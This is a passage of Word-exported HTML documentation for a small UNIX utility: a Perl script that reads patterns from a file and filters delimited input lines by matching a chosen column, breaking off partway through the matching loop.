<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo2; tab-stops: list 66.0pt;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Operating System<span style="mso-tab-count: 4;">                                   </span>UNIX</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo2; tab-stops: list 66.0pt;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Language/Tools used for development<span style="mso-tab-count: 1;">        </span>Shell</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal; mso-outline-level: 1;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -39pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list 45.0pt; mso-outline-level: 1;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">3.<span style="font: 7pt &quot;Times New Roman&quot;;">    </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Code</span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">#!/usr/bin/perl</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">#$Id: test.pl,v 2.0 2004/10/08 13:00:03 kumap Exp $</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"># Performs the same feature of &#8220;cut&#8221; in shell scripts.</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">sub splitValue()</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my $target<span style="mso-spacerun: yes;">    </span>= $_[0];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my $delimiter = $_[1];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my $fieldNum<span style="mso-spacerun: yes;">  </span>= $_[2];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>my @tempArray = split(/$delimiter/, $target);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>return $tempArray[$fieldNum - 1]; </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">if ( @ARGV != 4 )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">    </span>print &#8220;usage: $0 &lt;Input file&gt; &lt;delimiter&gt; &lt;Pattern file&gt; &lt;columnNumber&gt;\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">    </span>exit (1);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $inputFile<span style="mso-spacerun: yes;">     </span>= $ARGV[0];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $delimiter<span style="mso-spacerun: yes;">     </span>= $ARGV[1];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $patternFile<span style="mso-spacerun: yes;">   </span>= $ARGV[2];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">my $columnNum<span style="mso-spacerun: yes;">     </span>= $ARGV[3];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8221; Arguments = &#8221; ;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8220;@ARGV&#8221; ;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8220;\n&#8221; ;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$columnNum = $columnNum &#8211; 1;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">print &#8221; *) Converting column number to index : $columnNum&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">if ( $columnNum &lt; 0 )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">   </span>print &#8220;\n *) Invalid column number\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">   </span>exit (1);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">open (PATTERN_FILE, &#8220;&lt;$patternFile&#8221;) || die &#8220;Error: Could not open $patternFile for reading&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">open (INPUT_FILE, &#8220;&lt;$inputFile&#8221;) || die &#8220;Error: Could not open $inputFile for reading&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">open (OUTPUT_FILE, &#8220;&gt;${inputFile}.out&#8221;) || die &#8220;Error: Could not open ${inputFile}.out for writing&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$index = 0;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">while ($line = &lt;PATTERN_FILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>chomp($line);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>$patternArray [ $index ] = $line;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>$patternArrayHash { &#8220;$line&#8221; } = 0;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>$index++;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$maxIndex=$index-1;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">$index = 0;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">while ( $line = &lt;INPUT_FILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>chomp($line);<span style="mso-spacerun: yes;">         </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>print &#8221; \n *) Input: $line \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>@lineArray = split(/$delimiter/,$line);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">         </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#for ( $i=0; $i &lt;= $maxIndex; $i++)</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>$pattern=$patternArray [ $i ];</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>print &#8221; *) Pattern : $pattern \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>print &#8221; *) Column : $lineArray[$columnNum] \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>#if ( $lineArray [ $columnNum ] eq $pattern )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>if ( $lineArray [ $columnNum ] =~<span style="mso-spacerun: yes;">  </span>/^$pattern$/ )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">   </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">     </span>print OUTPUT_FILE &#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#<span style="mso-spacerun: yes;">     </span>print<span style="mso-spacerun: yes;">  </span>&#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">  </span>#<span style="mso-spacerun: yes;">   </span>}</span></p>
